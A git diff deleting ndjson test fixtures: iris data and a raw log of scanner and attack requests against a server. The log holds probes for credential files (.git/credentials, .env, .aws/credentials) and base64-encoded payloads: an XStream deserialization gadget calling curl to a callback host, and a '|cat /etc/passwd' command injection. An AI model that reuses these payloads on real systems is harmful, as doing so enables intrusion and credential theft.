-{"Sepal.Length":6.3,"Sepal.Width":3.3,"Petal.Length":4.7,"Petal.Width":1.6,"Species":"versicolor"} -{"Sepal.Length":4.9,"Sepal.Width":2.4,"Petal.Length":3.3,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":6.6,"Sepal.Width":2.9,"Petal.Length":4.6,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":5.2,"Sepal.Width":2.7,"Petal.Length":3.9,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":5,"Sepal.Width":2,"Petal.Length":3.5,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":5.9,"Sepal.Width":3,"Petal.Length":4.2,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":6,"Sepal.Width":2.2,"Petal.Length":4,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":6.1,"Sepal.Width":2.9,"Petal.Length":4.7,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":5.6,"Sepal.Width":2.9,"Petal.Length":3.6,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":6.7,"Sepal.Width":3.1,"Petal.Length":4.4,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":5.6,"Sepal.Width":3,"Petal.Length":4.5,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":5.8,"Sepal.Width":2.7,"Petal.Length":4.1,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":6.2,"Sepal.Width":2.2,"Petal.Length":4.5,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":5.6,"Sepal.Width":2.5,"Petal.Length":3.9,"Petal.Width":1.1,"Species":"versicolor"} -{"Sepal.Length":5.9,"Sepal.Width":3.2,"Petal.Length":4.8,"Petal.Width":1.8,"Species":"versicolor"} -{"Sepal.Length":6.1,"Sepal.Width":2.8,"Petal.Length":4,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":6.3,"Sepal.Width":2.5,"Petal.Length":4.9,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":6.1,"Sepal.Width":2.8,"Petal.Length":4.7,"Petal.Width":1.2,"Species":"versicolor"} -{"Sepal.Length":6.4,"Sepal.Width":2.9,"Petal.Length":4.3,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":6.6,"Sepal.Width":3,"Petal.Length":4.4,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":6.8,"Sepal.Width":2.8,"Petal.Length":4.8,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":6.7,"Sepal.Width":3,"Petal.Length":5,"Petal.Width":1.7,"Species":"versicolor"} -{"Sepal.Length":6,"Sepal.Width":2.9,"Petal.Length":4.5,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":5.7,"Sepal.Width":2.6,"Petal.Length":3.5,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":5.5,"Sepal.Width":2.4,"Petal.Length":3.8,"Petal.Width":1.1,"Species":"versicolor"} -{"Sepal.Length":5.5,"Sepal.Width":2.4,"Petal.Length":3.7,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":5.8,"Sepal.Width":2.7,"Petal.Length":3.9,"Petal.Width":1.2,"Species":"versicolor"} -{"Sepal.Length":6,"Sepal.Width":2.7,"Petal.Length":5.1,"Petal.Width":1.6,"Species":"versicolor"} -{"Sepal.Length":5.4,"Sepal.Width":3,"Petal.Length":4.5,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":6,"Sepal.Width":3.4,"Petal.Length":4.5,"Petal.Width":1.6,"Species":"versicolor"} -{"Sepal.Length":6.7,"Sepal.Width":3.1,"Petal.Length":4.7,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":6.3,"Sepal.Width":2.3,"Petal.Length":4.4,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":5.6,"Sepal.Width":3,"Petal.Length":4.1,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":5.5,"Sepal.Width":2.5,"Petal.Length":4,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":5.5,"Sepal.Width":2.6,"Petal.Length":4.4,"Petal.Width":1.2,"Species":"versicolor"} -{"Sepal.Length":6.1,"Sepal.Width":3,"Petal.Length":4.6,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":5.8,"Sepal.Width":2.6,"Petal.Length":4,"Petal.Width":1.2,"Species":"versicolor"} -{"Sepal.Length":5,"Sepal.Width":2.3,"Petal.Length":3.3,"Petal.Width":1,"Species":"versicolor"} -{"Sepal.Length":5.6,"Sepal.Width":2.7,"Petal.Length":4.2,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":5.7,"Sepal.Width":3,"Petal.Length":4.2,"Petal.Width":1.2,"Species":"versicolor"} -{"Sepal.Length":5.7,"Sepal.Width":2.9,"Petal.Length":4.2,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":6.2,"Sepal.Width":2.9,"Petal.Length":4.3,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":5.1,"Sepal.Width":2.5,"Petal.Length":3,"Petal.Width":1.1,"Species":"versicolor"} -{"Sepal.Length":5.7,"Sepal.Width":2.8,"Petal.Length":4.1,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":6.3,"Sepal.Width":3.3,"Petal.Length":6,"Petal.Width":2.5,"Species":"virginica"} -{"Sepal.Length":5.8,"Sepal.Width":2.7,"Petal.Length":5.1,"Petal.Width":1.9,"Species":"virginica"} -{"Sepal.Length":7.1,"Sepal.Width":3,"Petal.Length":5.9,"Petal.Width":2.1,"Species":"virginica"} -{"Sepal.Length":6.3,"Sepal.Width":2.9,"Petal.Length":5.6,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.5,"Sepal.Width":3,"Petal.Length":5.8,"Petal.Width":2.2,"Species":"virginica"} -{"Sepal.Length":7.6,"Sepal.Width":3,"Petal.Length":6.6,"Petal.Width":2.1,"Species":"virginica"} -{"Sepal.Length":4.9,"Sepal.Width":2.5,"Petal.Length":4.5,"Petal.Width":1.7,"Species":"virginica"} -{"Sepal.Length":7.3,"Sepal.Width":2.9,"Petal.Length":6.3,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.7,"Sepal.Width":2.5,"Petal.Length":5.8,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":7.2,"Sepal.Width":3.6,"Petal.Length":6.1,"Petal.Width":2.5,"Species":"virginica"} -{"Sepal.Length":6.5,"Sepal.Width":3.2,"Petal.Length":5.1,"Petal.Width":2,"Species":"virginica"} -{"Sepal.Length":6.4,"Sepal.Width":2.7,"Petal.Length":5.3,"Petal.Width":1.9,"Species":"virginica"} -{"Sepal.Length":6.8,"Sepal.Width":3,"Petal.Length":5.5,"Petal.Width":2.1,"Species":"virginica"} -{"Sepal.Length":5.7,"Sepal.Width":2.5,"Petal.Length":5,"Petal.Width":2,"Species":"virginica"} -{"Sepal.Length":5.8,"Sepal.Width":2.8,"Petal.Length":5.1,"Petal.Width":2.4,"Species":"virginica"} -{"Sepal.Length":6.4,"Sepal.Width":3.2,"Petal.Length":5.3,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":6.5,"Sepal.Width":3,"Petal.Length":5.5,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":7.7,"Sepal.Width":3.8,"Petal.Length":6.7,"Petal.Width":2.2,"Species":"virginica"} -{"Sepal.Length":7.7,"Sepal.Width":2.6,"Petal.Length":6.9,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":6,"Sepal.Width":2.2,"Petal.Length":5,"Petal.Width":1.5,"Species":"virginica"} -{"Sepal.Length":6.9,"Sepal.Width":3.2,"Petal.Length":5.7,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":5.6,"Sepal.Width":2.8,"Petal.Length":4.9,"Petal.Width":2,"Species":"virginica"} -{"Sepal.Length":7.7,"Sepal.Width":2.8,"Petal.Length":6.7,"Petal.Width":2,"Species":"virginica"} -{"Sepal.Length":6.3,"Sepal.Width":2.7,"Petal.Length":4.9,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.7,"Sepal.Width":3.3,"Petal.Length":5.7,"Petal.Width":2.1,"Species":"virginica"} -{"Sepal.Length":7.2,"Sepal.Width":3.2,"Petal.Length":6,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.2,"Sepal.Width":2.8,"Petal.Length":4.8,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.1,"Sepal.Width":3,"Petal.Length":4.9,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.4,"Sepal.Width":2.8,"Petal.Length":5.6,"Petal.Width":2.1,"Species":"virginica"} -{"Sepal.Length":7.2,"Sepal.Width":3,"Petal.Length":5.8,"Petal.Width":1.6,"Species":"virginica"} -{"Sepal.Length":7.4,"Sepal.Width":2.8,"Petal.Length":6.1,"Petal.Width":1.9,"Species":"virginica"} -{"Sepal.Length":7.9,"Sepal.Width":3.8,"Petal.Length":6.4,"Petal.Width":2,"Species":"virginica"} -{"Sepal.Length":6.4,"Sepal.Width":2.8,"Petal.Length":5.6,"Petal.Width":2.2,"Species":"virginica"} -{"Sepal.Length":6.3,"Sepal.Width":2.8,"Petal.Length":5.1,"Petal.Width":1.5,"Species":"virginica"} -{"Sepal.Length":6.1,"Sepal.Width":2.6,"Petal.Length":5.6,"Petal.Width":1.4,"Species":"virginica"} -{"Sepal.Length":7.7,"Sepal.Width":3,"Petal.Length":6.1,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":6.3,"Sepal.Width":3.4,"Petal.Length":5.6,"Petal.Width":2.4,"Species":"virginica"} -{"Sepal.Length":6.4,"Sepal.Width":3.1,"Petal.Length":5.5,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6,"Sepal.Width":3,"Petal.Length":4.8,"Petal.Width":1.8,"Species":"virginica"} -{"Sepal.Length":6.9,"Sepal.Width":3.1,"Petal.Length":5.4,"Petal.Width":2.1,"Species":"virginica"} -{"Sepal.Length":6.7,"Sepal.Width":3.1,"Petal.Length":5.6,"Petal.Width":2.4,"Species":"virginica"} -{"Sepal.Length":6.9,"Sepal.Width":3.1,"Petal.Length":5.1,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":5.8,"Sepal.Width":2.7,"Petal.Length":5.1,"Petal.Width":1.9,"Species":"virginica"} -{"Sepal.Length":6.8,"Sepal.Width":3.2,"Petal.Length":5.9,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":6.7,"Sepal.Width":3.3,"Petal.Length":5.7,"Petal.Width":2.5,"Species":"virginica"} -{"Sepal.Length":6.7,"Sepal.Width":3,"Petal.Length":5.2,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":6.3,"Sepal.Width":2.5,"Petal.Length":5,"Petal.Width":1.9,"Species":"virginica"} -{"Sepal.Length":6.5,"Sepal.Width":3,"Petal.Length":5.2,"Petal.Width":2,"Species":"virginica"} -{"Sepal.Length":6.2,"Sepal.Width":3.4,"Petal.Length":5.4,"Petal.Width":2.3,"Species":"virginica"} -{"Sepal.Length":5.9,"Sepal.Width":3,"Petal.Length":5.1,"Petal.Width":1.8,"Species":"virginica"} diff --git a/tests/testthat/examples/iris.ndjson.gz b/tests/testthat/examples/iris.ndjson.gz deleted file mode 100644 index 68ca2a1..0000000 Binary files a/tests/testthat/examples/iris.ndjson.gz and /dev/null differ diff --git a/tests/testthat/examples/ndjson-long-lines-10k-issue19.ndjson b/tests/testthat/examples/ndjson-long-lines-10k-issue19.ndjson deleted file mode 100644 index b8e135e..0000000 --- a/tests/testthat/examples/ndjson-long-lines-10k-issue19.ndjson +++ /dev/null @@ -1,749 +0,0 @@ -{"ip": "90.169.110.161", "Accept": "text/plain,text/html", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "18.119.179.222", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15", "Method": "GET", "Path": "/.git/credentials", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "93.174.95.106", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "identity", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "93.174.95.106", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "93.174.95.106", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "93.174.95.106", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/.well-known/security.txt", "Http_Version": "HTTP/1.1"} -{"ip": "93.174.95.106", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "192.241.199.82", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/druid/index.html", "Http_Version": "HTTP/1.1"} -{"ip": "180.149.125.172", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.216.149.151", "Host": "116.202.22.148:80", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "103.61.224.82", "Accept": "*/*", "Accept_Language": "zh-cn,en-us;q=0.5", "Connection": "Keep-Alive", "Host": "116.202.22.148:8080", "User_Agent": "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705", "Method": "GET", "Path": "/manager/html", "Http_Version": "HTTP/1.1"} -{"ip": "120.0.52.55", "Accept": "*/*", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "58.18.161.236", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "58.19.50.55", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "34.67.136.168", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (compatible; tchelebi/1.0; +http://tchelebi.io)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "66.240.192.138", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "identity", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "66.240.192.138", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "66.240.192.138", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "66.240.192.138", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/.well-known/security.txt", "Http_Version": "HTTP/1.1"} -{"ip": "66.240.192.138", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.49.193", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "identity", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.49.193", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.49.193", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.49.193", "Accept_Encoding": "identity", "Host": "116.202.22.148", "Method": "GET", "Path": "/.well-known/security.txt", "Http_Version": "HTTP/1.1"} -{"ip": "94.102.49.193", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "143.178.110.77", "Accept": "text/plain,text/html", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "46.174.191.29", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "91.48.115.148", "Accept": "text/plain,text/html", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "84.54.51.192", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.237", "Host": "cdn.irserv.sbs", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "179.43.128.106", "Authorization": "Basic YWRtaW46MTIzNA==", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "118.169.146.25", "Accept": "text/plain,text/html", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "38.7.199.228", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.237.98.53", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.237.98.53", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144", "Method": "GET", "Path": "/admin/config.php", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "Method": "GET", "Path": "/.gitlab-ci.yml", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "165.232.177.124", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", "Method": "GET", "Path": "/s3cmd.ini", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 OPR/19.0.1326.56", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "107.170.227.4", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/actuator/health", "Http_Version": "HTTP/1.1"} -{"ip": "209.141.33.40", "Accept_Encoding": "gzip", "Connection": "close", "Content_Length": "504", "Content_Type": "application/xml", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "PHNvcnRlZC1zZXQ+DQogICAgPHN0cmluZz5mb288L3N0cmluZz4NCiAgICA8Y29udGFjdCBjbGFzcz0nZHluYW1pYy1wcm94eSc+DQogICAgICA8aW50ZXJmYWNlPmphdmEubGFuZy5Db21wYXJhYmxlPC9pbnRlcmZhY2U+DQogICAgICA8aGFuZGxlciBjbGFzcz0namF2YS5iZWFucy5FdmVudEhhbmRsZXInPg0KICAgICAgICAgIDx0YXJnZXQgY2xhc3M9J2phdmEubGFuZy5Qcm9jZXNzQnVpbGRlcic+DQogICAgICAgICAgICAgIDxjb21tYW5kPg0KICAgICAgICAgICAgICAgIDxzdHJpbmc+Y3VybDwvc3RyaW5nPg0KICAgICAgICAgICAgICAgIDxzdHJpbmc+aHR0cDovL2NrcDlya3ZzYTkwbG9yZHFldXFnZmtxcHlnaWhqemY5aS5vYXN0LmZ1bjwvc3RyaW5nPg0KICAgICAgICAgICAgICA8L2NvbW1hbmQ+DQogICAgICAgICAgPC90YXJnZXQ+DQogICAgICAgICAgPGFjdGlvbj5zdGFydDwvYWN0aW9uPg0KICAgICAgPC9oYW5kbGVyPg0KICA8L2NvbnRhY3Q+DQo8L3NvcnRlZC1zZXQ+"} -{"ip": "209.141.33.40", "Accept_Encoding": "gzip", "Connection": "close", "Content_Length": "25", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Method": "POST", "Path": "/webadm/?q=moni_detail.do&action=gragh", "Http_Version": "HTTP/1.1", "POST_Payload": "dHlwZT0nfGNhdCAvZXRjL3Bhc3N3ZHx8Jw=="} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; Android 11; Redmi Note 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36", "Method": "GET", "Path": "/.svn/entries", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36", "Method": "GET", "Path": "/.aws/credentials", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "92.74.150.174", "Accept": "text/plain,text/html", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "165.232.73.237", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/aaa9", "Http_Version": "HTTP/1.1"} -{"ip": "165.232.73.237", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/aab8", "Http_Version": "HTTP/1.1"} -{"ip": "165.232.73.237", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "43.130.57.239", "Accept": "*/*", "Host": "116.202.22.148:8080", "User_Agent": "curl/7.64.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "36.99.136.136", "Accept": 